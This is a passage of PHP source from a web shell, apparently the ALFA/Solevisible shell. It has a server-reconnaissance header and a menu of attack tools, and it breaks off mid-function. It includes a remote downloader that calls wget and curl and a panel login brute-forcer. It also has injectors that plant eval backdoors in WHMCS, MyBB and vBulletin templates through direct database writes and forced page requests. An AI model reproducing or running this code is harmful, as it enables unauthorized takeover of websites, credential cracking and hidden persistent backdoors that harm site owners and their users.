class=\"header_vars\">Domains:&lt;\/span>&lt;\/td>\n&lt;td width=\"76%\">&lt;span class=\"header_values\" id=\"header_domains\">';\nif($GLOBALS&#91;'sys']=='unix'){\n$d0mains = _alfa_file(\"\/etc\/named.conf\",false);\nif(!$d0mains){echo \"Cant Read &#91; \/etc\/named.conf ]\";$GLOBALS&#91;\"need_to_update_header\"]=\"true\";}else{\n$count=0;\nforeach($d0mains as $d0main){\nif(@strstr($d0main,\"zone\")){\npreg_match_all('#zone \"(.*)\"#', $d0main, $domains);\nflush();\nif(strlen(trim($domains&#91;1]&#91;0])) > 2){\nflush();\n$count++;}}}\necho \"$count Domains\";}}\nelse{echo(\"Cant Read &#91; \/etc\/named.conf ]\");}\necho '&lt;\/span>&lt;\/td>\n&lt;\/tr>\n&lt;tr>\n&lt;td height=\"16\">&lt;span class=\"header_vars\">HDD:&lt;\/span>&lt;\/td>\n&lt;td>&lt;span class=\"header_vars\">Total:&lt;\/span>&lt;b>'.alfaSize($totalSpace).' &lt;\/b>&lt;span class=\"header_vars\">Free:&lt;\/span>&lt;b>' . alfaSize($freeSpace) . ' &#91;'. (int) ($freeSpace\/$totalSpace*100) . '%]&lt;\/b>&lt;\/td>\n&lt;\/tr>';\nif($GLOBALS&#91;'sys']=='unix'){\n$sx_dwlr = '&lt;tr>&lt;td height=\"18\" colspan=\"2\">&lt;span class=\"header_vars\">useful:&lt;\/span>&lt;span class=\"header_values\" id=\"header_useful\">--------------&lt;\/span>&lt;\/td>&lt;\/tr>&lt;td height=\"0\" colspan=\"2\">&lt;span class=\"header_vars\">Downloader: &lt;\/span>&lt;span class=\"header_values\" id=\"header_downloader\">--------------&lt;\/span>&lt;\/td>&lt;\/tr>';\nif(!@ini_get('safe_mode')){\nif(strlen(alfaEx(\"id\",false,false))>0){\necho '&lt;tr>&lt;td height=\"18\" colspan=\"2\">&lt;span class=\"header_vars\">Useful : &lt;\/span>';\n$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl');\n$x=0;\nforeach($userful as $item)if(alfaWhich($item)){$x++;echo '&lt;span class=\"header_values\" style=\"margin-left: 4px;\">'.$item.'&lt;\/span>';}\nif($x==0){echo \"&lt;span class='header_values' id='header_useful'>--------------&lt;\/span>\";$GLOBALS&#91;\"need_to_update_header\"] = \"true\";}\n$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');\n$x=0;\nforeach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo '&lt;span class=\"header_values\" style=\"margin-left: 4px;\">'.$item2.'&lt;\/span>';}\nif($x==0){echo \"&lt;span class='header_values' id='header_downloader'>--------------&lt;\/span>\";$GLOBALS&#91;\"need_to_update_header\"] = \"true\";}\necho '&lt;\/td>\n&lt;\/tr>';\n}else{\necho $sx_dwlr;$GLOBALS&#91;\"need_to_update_header\"] = \"true\";\n}\n}else{\necho $sx_dwlr;$GLOBALS&#91;\"need_to_update_header\"] = \"true\";\n}\n}else{\necho '&lt;tr>&lt;td height=\"18\" colspan=\"2\">&lt;span class=\"header_vars\">Windows:&lt;\/span>&lt;b>';\necho alfaEx('ver',false,false);\necho '&lt;\/td>\n&lt;\/tr> &lt;tr>\n&lt;td height=\"0\" colspan=\"2\">&lt;span class=\"header_vars\">Downloader: &lt;\/span>&lt;b>-------------&lt;\/b>&lt;\/td>\n&lt;\/tr>&lt;\/b>';\n}\n$quotes = (function_exists('get_magic_quotes_gpc')?get_magic_quotes_gpc():'0');if ($quotes == \"1\" or $quotes == \"on\"){$magic = '&lt;b>&lt;span class=\"header_on\">ON&lt;\/span>';}else{$magic = '&lt;span class=\"header_off\">OFF&lt;\/span>';}\necho '&lt;tr>\n&lt;td height=\"16\" colspan=\"2\">&lt;span class=\"header_vars\">Disable Functions: &lt;\/span>&lt;b>'.Alfa_GetDisable_Function().'&lt;\/b>&lt;\/td>\n&lt;\/tr>\n&lt;tr>\n&lt;td height=\"16\" colspan=\"2\">&lt;span class=\"header_vars\">CURL :&lt;\/span>'.$curl.' | &lt;span class=\"header_vars\">SSH2 : &lt;\/span>'.$ssh2.' | &lt;span class=\"header_vars\">Magic Quotes : &lt;\/span>'.$magic.' | &lt;span class=\"header_vars\"> MySQL :&lt;\/span>'.$mysql.' | &lt;span class=\"header_vars\">MSSQL :&lt;\/span>'.$mssql.' | &lt;span class=\"header_vars\"> PostgreSQL :&lt;\/span>'.$pg.' | &lt;span class=\"header_vars\"> Oracle :&lt;\/span>'.$or.' '.($GLOBALS&#91;'sys']==\"unix\"?'| &lt;span class=\"header_vars\"> CGI :&lt;\/span> '.$cgi_shell:\"\").'&lt;\/td>\n&lt;\/tr>\n&lt;tr>\n&lt;td height=\"11\" colspan=\"3\">&lt;span class=\"header_vars\">Open_basedir :&lt;\/span>&lt;b>'.$open_b.'&lt;\/b> | &lt;span class=\"header_vars\">Safe_mode_exec_dir :&lt;\/span>&lt;b>'.$safe_exe.'&lt;\/b> | &lt;span class=\"header_vars\"> Safe_mode_include_dir :&lt;\/span>&lt;\/b>'.$safe_include.'&lt;\/b>&lt;\/td>\n&lt;\/tr>';\nif($GLOBALS&#91;'sys']==\"win\"){\necho '&lt;tr>\n&lt;td height=\"12\">&lt;span class=\"header_vars\">DRIVE:&lt;\/span>&lt;\/td>\n&lt;td colspan=\"2\">&lt;b>'.$drives.'&lt;\/b>&lt;\/td>\n&lt;\/tr>';\n}\necho '&lt;tr>\n&lt;td height=\"12\">&lt;span class=\"header_vars\">DIR :&lt;\/span>&lt;\/td>\n&lt;td colspan=\"2\">&lt;span id=\"header_cwd\">'.$cwd_links.' &lt;\/span>&lt;a href=\"#action=fileman&amp;path='.$GLOBALS&#91;'home_cwd'].'\" onclick=\"g(\\'FilesMan\\',\\'' . $GLOBALS&#91;'home_cwd'] . '\\',\\'\\',\\'\\',\\'\\')\">&lt;span class=\"home_shell\">&#91; Home Shell ]&lt;\/span> &lt;\/a>&lt;\/td>\n&lt;\/tr>\n&lt;\/table>\n&lt;\/div>\n&lt;div id=\"meunlist\">\n&lt;ul>\n';\n$li = array('proc'=>'Proc','phpeval'=>'Eval','sql'=>'SQL','connect'=>'BC','safe'=>'Bypass','cgishell'=>'Cgi','cpcrack'=>'Hash','basedir'=>'BaseDir','pwchanger'=>'Addmin','ShellInjectors'=>'Inject','symlink'=>'Symlink','MassDefacer'=>'Mass','searcher'=>'Search','config_grabber'=>'Config','inbackdoor'=>'Inject','selfrm'=>'killme'\n);\nforeach($li as $key=>$value){\necho('&lt;li>&lt;a id=\"menu_opt_'.$key.'\" href=\"#action=options&amp;path='.$GLOBALS&#91;'cwd'].'&amp;opt='.$key.'\" class=\"menu_options\" onclick=\"alfa_can_add_opt=true;this.href=\\'#action=options&amp;path=\\'+c_+\\'&amp;opt='.$key.'\\';g(\\''.$key.'\\',null,\\'\\',\\'\\',\\'\\');d.querySelector(\\'.opt-title\\').innerHTML=this.innerHTML;\">'.$value.'&lt;\/a>&lt;\/li>');\n}\necho (!empty($_COOKIE&#91;'AlfaUser']) &amp;&amp; !empty($_COOKIE&#91;'AlfaPass']) ? '&lt;a href=\"javascript:void(0);\" onclick=\"alfaLogOut();\">&lt;font color=\"red\">LogOut&lt;\/font>&lt;\/a>':'').'&lt;\/ul>&lt;\/div>&lt;\/div>&lt;div id=\"filesman_tabs\">&lt;div onmouseover=\"alfaFilesmanTabShowTitle(this,event);\" onmouseout=\"alfaFilesmanTabHideTitle(this,event);\" fm_counter=\"1\" path=\"'.$GLOBALS&#91;'cwd'].'\" fm_id=\"1\" id=\"filesman_tab_1\" class=\"filesman_tab filesman-tab-active\" onclick=\"filesmanTabController(this);\">&lt;img class=\"folder-tab-icon\" src=\"http:\/\/solevisible.com\/icons\/menu\/folder2.svg\"> &lt;span>File manager&lt;\/span>&lt;\/div>&lt;div style=\"display:inline-block;\" id=\"filesman_tabs_child\">&lt;\/div>&lt;div id=\"filesman_new_tab\" class=\"filesman_tab\" style=\"background: maroon;\" onClick=\"alfaFilesManNewTab(c_,\\'\/\\',1);\">New Tab +&lt;\/div>&lt;\/div>';}else{\n@error_reporting(E_ALL ^ E_NOTICE);\n@ini_set('error_log',NULL);\n@ini_set('log_errors',0);\n@ini_set('max_execution_time',0);\n@ini_set('magic_quotes_runtime', 0);\n@set_time_limit(0);\n}}\nfunction alfalogout(){\n@setcookie(\"AlfaUser\", null, 2012);\n@setcookie(\"AlfaPass\", null, 2012);\nunset($_COOKIE&#91;'AlfaUser'],$_COOKIE&#91;'AlfaPass']);\necho(\"ok\");\n}\nfunction showAnimation($name){\nreturn '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;';\n}\nfunction __showicon($r){\n$s&#91;'btn']='http:\/\/solevisible.com\/images\/btn.png';\n$s&#91;'alfamini']='http:\/\/solevisible.com\/images\/alfamini.png';\n$s&#91;'loader']='http:\/\/solevisible.com\/images\/loader.svg';\nreturn $s&#91;$r];\n}\nfunction __download($url,$path=false){\nif(!preg_match(\"\/&#91;a-z]+:\\\/\\\/.+\/\",$url)) return false;\n$saveas = basename(rawurldecode($url));\nif($path){$saveas=$path.$saveas;}\nif($content = __read_file($url)){\nif(@is_file($saveas))@unlink($saveas);\nif(__write_file($saveas, $content)){return true;}}\n$buff = alfaEx(\"wget \".$url.\" -O \".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx(\"curl \".$url.\" -o \".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx(\"lwp-download \".$url.\" \".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx(\"lynx -source \".$url.\" > \".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx(\"GET \".$url.\" > \".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx(\"links -source \".$url.\" > \".$saveas);\nif(@is_file($saveas)) return true;\n$buff = alfaEx(\"fetch -o \".$saveas.\" -p \".$url);\nif(@is_file($saveas)) return true;\nreturn false;\n}\nfunction clean_string($string){\n  if(function_exists(\"iconv\")){\n  $s = trim($string);\n  $s = iconv(\"UTF-8\", \"UTF-8\/\/IGNORE\", $s);\n  }\n  return $s;\n}\nfunction __read_file($file, $boom = true){\n$content = false;\nif($fh = @fopen($file, \"rb\")){\n$content = \"\";\nwhile(!feof($fh)){\n$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);\n}\n@fclose($fh);\n}\nif(empty($content)||!$content){\n$content = alfaEx(\"cat '\".addslashes($file).\"'\");\n}\nreturn $content;\n}\nfunction Alfa_DirectAdmin_Cracker($info){\nif(!$info&#91;'mysql'])\n$url = $info&#91;'protocol'].$info&#91;'target'].':'.$info&#91;'port'].'\/CMD_LOGIN';\nelse $url = $info&#91;'protocol'].$info&#91;'target'].'\/phpmyadmin';\n$curl = curl_init();\ncurl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);\ncurl_setopt($curl, CURLOPT_USERAGENT,'Mozilla\/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko\/20100101 Firefox\/17.0');\ncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);\ncurl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);\ncurl_setopt($curl, CURLOPT_HEADER,0);\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($curl, CURLOPT_URL,$url);\ncurl_setopt($curl, CURLOPT_USERPWD, $info&#91;'username'].':'.$info&#91;'password']);\nif($info&#91;'mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);\n$result = @curl_exec($curl);\n$curl_errno = curl_errno($curl);\n$curl_error = curl_error($curl);\nif ($curl_errno > 0) {echo \"&lt;font color='red'>Error: $curl_error&lt;\/font>&lt;br>\";}\nelseif(preg_match('\/CMD_FILE_MANAGER|frameset\/i',$result)){\necho 'UserName: &lt;font color=\"red\">'.$info&#91;'username'].'&lt;\/font> PassWord: &lt;font color=\"red\">'.$info&#91;'password'].'&lt;\/font>&lt;font color=\"green\">  Login Success....&lt;\/font>&lt;br>';\n$info&#91;'target'] = $url;\nCrackerResualt($info);\n}\ncurl_close($curl);\n}\nfunction alfaShellInjectors(){\nalfahead();\necho '&lt;div class=header>';\nAlfaNum(11);\necho '&lt;center>&lt;p>&lt;div class=\"txtfont_header\">| Cms Shell Injector |&lt;\/div>&lt;\/p>&lt;center>&lt;h3>&lt;a href=javascript:void(0) onclick=\"g(\\'ShellInjectors\\',null,\\'whmcs\\',null)\">| WHMCS | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'ShellInjectors\\',null,null,\\'mybb\\')\">| MyBB | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'ShellInjectors\\',null,null,null,\\'vb\\')\">| vBulletin |&lt;\/a>&lt;\/h3>&lt;\/center>';\n$selector = '&lt;p>&lt;div class=\"txtfont\">Shell Inject Method : &lt;\/div> &lt;select name=\"method\" style=\"width:100px;\">&lt;option value=\"auto\">AutoMatic&lt;\/option>&lt;option value=\"man\">Manuel&lt;\/option>&lt;\/select>&lt;\/p>';\nif(isset($_POST&#91;'alfa1']) &amp;&amp; $_POST&#91;'alfa1']== 'whmcs'){\nAlfaNum();\necho __pre().\"&lt;p>&lt;div class='txtfont_header'>| WHMCS |&lt;\/div>&lt;\/p>&lt;center>&lt;center>&lt;p>\".getConfigHtml('whmcs').\"&lt;\/p>&lt;form onSubmit=\\\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\\\" method='post'>\";\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http:\/\/site.com\/whmcs', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),\n 'td5' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')\n);\ncreate_table($table);\necho $selector;\necho \"&lt;p>&lt;input type='submit' value='>>'>&lt;\/p>&lt;\/form>&lt;\/center>&lt;\/td>&lt;\/tr>&lt;\/table>&lt;\/center>\";\nif(isset($_POST&#91;'alfa6'])) {\n$dbu = $_POST&#91;'alfa6'];\n$dbn = $_POST&#91;'alfa7'];\n$dbp = $_POST&#91;'alfa8'];\n$dbh = $_POST&#91;'alfa9'];\n$path = $_POST&#91;'alfa10'];\n$method = $_POST&#91;'alfa4'];\n$index = \"{php}\".ALFA_UPLOADER.\";{\/php}\";\n$newin = str_replace(\"'\",\"\\'\",$index);\n$newindex = \"&lt;p>Dear $newin,&lt;\/p>&lt;p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.&lt;\/p>&lt;p>To reset your password, please visit the url below:&lt;br \/>&lt;a href=\\\"{\\$pw_reset_url}\\\">{\\$pw_reset_url}&lt;\/a>&lt;\/p>&lt;p>When you visit the link above, your password will be reset, and the new password will be emailed to you.&lt;\/p>&lt;p>{\\$signature}&lt;\/p>{php}if(\\$_COOKIE&#91;\\\"sec\\\"] == \\\"123\\\"){eval(base64_decode(\\$_COOKIE&#91;\\\"sec2\\\"])); die(\\\"!\\\");}{\\\/php}\";\nif(!empty($dbh) &amp;&amp; !empty($dbu) &amp;&amp; !empty($dbn) &amp;&amp; !empty($index)){\nif(filter_var($path,FILTER_VALIDATE_URL)){\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());\n$soleSave= mysqli_query($conn,\"select message from tblemailtemplates where name='Password Reset Validation'\");\n$soleGet = mysqli_fetch_assoc($soleSave);\n$tempSave1 = $soleGet&#91;'message'];\n$tempSave = str_replace(\"'\",\"\\'\",$tempSave1);\nmysqli_query($conn,\"UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'\") or die (mysqli_error($conn));\n$inject = \"UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'\";\n$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));\n$create = \"insert into tblclients (email) values('solevisible@fbi.gov')\";\n$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));\nif(function_exists('curl_version') &amp;&amp; $method == 'auto'){\n$AlfaSole = new AlfaCURL(true);\n$saveurl = $AlfaSole->Send($path.\"\/pwreset.php\");\n$getToken = preg_match(\"\/name=\\\"token\\\" value=\\\"(.*?)\\\"\/i\",$saveurl,$token);\n$AlfaSole->Send($path.\"\/pwreset.php\",\"post\",\"token={$token&#91;1]}&amp;action=reset&amp;email=solevisible@fbi.gov\");\n$backdata = \"UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'\";\n$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));\n__alert(\"shell injectet...\");\n$ff= 'http:\/\/'.$path.\"\/solevisible.php\";\noutput($ff);}else{\necho \"&lt;br>&lt;pre id=\\\"strOutput\\\" style=\\\"margin-top:5px\\\" class=\\\"ml1\\\">&lt;br>&lt;center>&lt;b>&lt;font color=\\\"#FFFFFF\\\">Please go to Target => &lt;\/font>&lt;a href='\".$path.\"\/pwreset.php' target='_blank'>\".$path.\"\/pwreset.php&lt;\/a>&lt;br\/>&lt;font color='#FFFFFF'> And Reset Password With Email&lt;\/font> => &lt;font color=red>solevisible@fbi.gov&lt;\/font>&lt;br\/>&lt;font color='#FFFFFF'>And Go To => &lt;\/font>&lt;a href='\".$path.\"\/solevisible.php' target='_blank'>\".$path.\"\/solevisible.php&lt;\/a>&lt;\/b>&lt;\/center>&lt;br>&lt;br>\";}}else{__alert('Path is not Valid...');}}}\n}if(isset($_POST&#91;'alfa2']) &amp;&amp; $_POST&#91;'alfa2']== 'mybb'){\nAlfaNum(1,2,3,5);\necho __pre().\"&lt;p>&lt;div class='txtfont_header'>| MyBB |&lt;\/div>&lt;\/p>&lt;center>&lt;center>\".getConfigHtml(\"mybb\").\"&lt;form id='sendajax' onSubmit=\\\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\\\" method=POST>\n\";\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'),\n 'td5' =>\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50')\n);\ncreate_table($table);\necho $selector;\necho \"&lt;p>&lt;input type=submit value=' '>&lt;\/p>&lt;\/form>&lt;\/center>&lt;\/center>\";\nif(isset($_POST&#91;'alfa6'])) {\n$dbu = $_POST&#91;'alfa6'];\n$dbn = $_POST&#91;'alfa7'];\n$dbp = $_POST&#91;'alfa8'];\n$dbh = $_POST&#91;'alfa9'];\n$prefix = $_POST&#91;'alfa10'];\n$method = $_POST&#91;'alfa4'];\n$shellCode = \"{\\${\".ALFA_UPLOADER.\"}}\";\n$newinshell = str_replace(\"'\",\"\\'\",$shellCode);\nif (!empty($dbh) &amp;&amp; !empty($dbu) &amp;&amp; !empty($dbn) &amp;&amp; !empty($newinshell)){\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\n$inject = \"select template from {$prefix}templates where  title= 'calendar'\";\n$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));\n$GetTemp = mysqli_fetch_assoc($result);\n$saveDate = $GetTemp&#91;'template'];\n$repsave = str_replace($shellCode,\"\",$saveDate);\n$repsave = str_replace(\"'\",\"\\'\",$repsave);\n$createShell = \"update {$prefix}templates SET template= '\".$newinshell.$repsave.\"' where title = 'calendar'\";\n$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));\n$geturl = \"select value from {$prefix}settings where name= 'bburl'\";\n$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));\n$rowb = mysqli_fetch_assoc($findurl);\n$furl = $rowb&#91;'value'];\n$realurl = parse_url($furl,PHP_URL_HOST);\n$realpath = parse_url($furl,PHP_URL_PATH);\n$res = false;\n$AlfaCurl = new AlfaCURL();\nif (extension_loaded('sockets') &amp;&amp; function_exists('fsockopen') &amp;&amp; $method == 'auto' ){\nif ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\n@fputs($fsock, \"GET $realpath\/calendar.php HTTP\/1.1\\r\\n\");\n@fputs($fsock, \"HOST: $realurl\\r\\n\");\n@fputs($fsock, \"Connection: close\\r\\n\\r\\n\");\n$check = fgets($fsock);\nif(preg_match(\"\/200 OK\/i\",$check)){\n$repairdbtemp = \"update {$prefix}templates SET template= '$repsave' where title = 'calendar'\";\n$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}\n@fclose($fsock);}}elseif(function_exists('curl_version') &amp;&amp; $method == 'auto'){\n$AlfaCurl->Send($realurl.$realpath.\"\/calendar.php\");\n$res = true;\n}\nif($res){\n$ff = 'http:\/\/'.$realurl.$realpath.\"\/solevisible.php\";\noutput($ff);\n}else{\n$ff = 'http:\/\/'.$realurl.$realpath.\"\/calendar.php\";\n$fff = 'http:\/\/'.$realurl.$realpath.\"\/solevisible.php\";\necho \"&lt;br>&lt;pre id='strOutput' style='margin-top:5px' class='ml1'>&lt;br>&lt;center>&lt;b>&lt;font color='#FFFFFF'>Please Go To Target => &lt;\/font>&lt;a href='\".$ff.\"' target='_blank'>\".$ff.\"&lt;\/a>&lt;br\/>&lt;font color='#FFFFFF'>And Go To => &lt;\/font>&lt;a href='\".$fff.\"' target='_blank'>\".$fff.\"&lt;\/a>&lt;\/b>&lt;\/center>&lt;br>&lt;br>\";\n}}}}\nif(isset($_POST&#91;'alfa3']) &amp;&amp; $_POST&#91;'alfa3']== 'vb'){\nAlfaNum(1,2,7,9,10);\necho __pre().'&lt;p>&lt;div class=\"txtfont_header\">| vbulletin |&lt;\/div>&lt;\/p>&lt;p>'.getConfigHtml('vb').'&lt;\/p>&lt;form name=\"frm\" method=\"POST\" onsubmit=\"g(\\'ShellInjectors\\',null,null,this.lo.value,\\'vb\\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;\">';\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'),\n 'td5' =>\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50')\n);\ncreate_table($table);\necho $selector;\necho '&lt;p>&lt;input type=\"submit\" value=\" \" \/>&lt;\/p>&lt;\/form>&lt;\/center>';\nif(isset($_POST&#91;'alfa4'])&amp;&amp;!empty($_POST&#91;'alfa4'])){\n$method = $_POST&#91;'alfa8'];\n$faq_name = \"faq\";\n$faq_file = \"\/faq.php\";\n$code = \"{\\${\".ALFA_UPLOADER.\"}}{\\${exit()}}&amp;\";\n$conn=@mysqli_connect($_POST&#91;'alfa2'],$_POST&#91;'alfa4'],$_POST&#91;'alfa5'],$_POST&#91;'alfa7']) or die(@mysqli_connect_error());\n$rec = \"select `template` from \".$_POST&#91;'alfa6'].\"template WHERE title ='\".$faq_name.\"'\";\n$recivedata = @mysqli_query($conn,$rec);\n$getd = @mysqli_fetch_assoc($recivedata);\n$savetoass = $getd&#91;'template'];\nif(empty($savetoass)){\n$faq_name = \"header\";\n$faq_file = \"\/\";\n$rec = \"select `template` from \".$_POST&#91;'alfa6'].\"template WHERE title ='\".$faq_name.\"'\";\n$recivedata = @mysqli_query($conn,$rec);\n$getd = @mysqli_fetch_assoc($recivedata);\n$savetoass = $getd&#91;'template'];\n$code = ALFA_UPLOADER.\";\";\n}\n$code = str_replace(\"'\",\"\\'\",$code);\n$p = \"UPDATE \".$_POST&#91;'alfa6'].\"template SET `template`='\".$code.\"' WHERE `title`='\".$faq_name.\"'\";\n$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));\n$geturl = @mysqli_query($conn,\"select `value` from \".$_POST&#91;'alfa6'].\"setting WHERE `varname`='bburl'\");\n$getval = @mysqli_fetch_assoc($geturl);\n$saveval = $getval&#91;'value'];\nif($faq_name == \"header\"){\nif(substr($saveval, -5, 5) == \"\/core\"){\n$saveval = substr($saveval, 0, -5);\n}\n}\n$realurl = parse_url($saveval,PHP_URL_HOST);\n$realpath = parse_url($saveval,PHP_URL_PATH);\n$res = false;\n$AlfaCurl = new AlfaCURL();\nif(extension_loaded('sockets') &amp;&amp; function_exists('fsockopen') &amp;&amp; $method == 'auto'){\nif($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\n@fputs($fsock, \"GET $realpath.$faq_file HTTP\/1.1\\r\\n\");\n@fputs($fsock, \"HOST: $realurl\\r\\n\");\n@fputs($fsock, \"Connection: close\\r\\n\\r\\n\");\n$check = fgets($fsock);\nif(preg_match(\"\/200 OK\/i\",$check)){\n$p1 = \"UPDATE \".$_POST&#91;'alfa6'].\"template SET template ='\".mysqli_real_escape_string($conn,$savetoass).\"' WHERE title ='\".$faq_name.\"'\";\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\n$res = true;\n}\n@fclose($fsock);\n}\n}elseif(function_exists('curl_version') &amp;&amp; $method == 'auto'){\n$AlfaCurl->Send($realurl.$realpath.$faq_file);\n$p1 = \"UPDATE \".$_POST&#91;'alfa6'].\"template SET template ='\".mysqli_real_escape_string($conn,$savetoass).\"' WHERE title ='\".$faq_name.\"'\";\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\n$res = true;\n}\nif($res){\n$ff = 'http:\/\/'.$realurl.$realpath.\"\/solevisible.php\";\noutput($ff);\n}else{\n$ff = 'http:\/\/'.$realurl.$realpath.$faq_file;\n$fff = 'http:\/\/'.$realurl.$realpath.\"\/solevisible.php\";\necho \"&lt;center>&lt;p>&lt;font color=\\\"#FFFFFF\\\">First Open This Link => &lt;\/font>&lt;a href='\".$ff.\"' target='_blank'>\".$ff.\"&lt;\/a>&lt;br\/>&lt;font color=\\\"#FFFFFF\\\">Second Open This Link => &lt;\/font>&lt;a href='\".$fff.\"' target='_blank'>\".$fff.\"&lt;\/a>&lt;\/center>&lt;\/p>\";}}}\necho '&lt;\/div>';\nalfafooter();\n}\nfunction alfacheckfiletype(){\n$path = $_POST&#91;'path'];\n$arg = $_POST&#91;'arg'];\nif(@is_file($path.'\/'.$arg)){\necho(\"file\");\n}else{\necho(\"dir\");\n}\n}\nfunction alfaWriteTocgiapi($name, $source){\n$temp = \"\";\n$not_api = array(\"basedir.alfa\", \"getdir.alfa\", \"getheader.alfa\");\nif(in_array($name, $not_api)){\n$temp = ALFA_TEMPDIR;\nif($temp){\n@chdir($temp);\n}\n}else{\nalfaCreateParentFolder();\n@chdir($GLOBALS&#91;'home_cwd'] . \"\/\" . __ALFA_DATA_FOLDER__);\n}\n@mkdir('alfacgiapi',0755);\n__write_file(\"alfacgiapi\/\".$name, __get_resource($source));\n@chmod(\"alfacgiapi\/\".$name, 0755);\nreturn $temp;\n}\nfunction alfacheckcgi(){if(strlen(alfaEx(\"id\",false,true,true))>0)echo(\"ok\");else echo(\"no\");}\nfunction alfaupdateheader(){\nif(!isset($_COOKIE&#91;\"updateheader_data\"])){\n$bash = 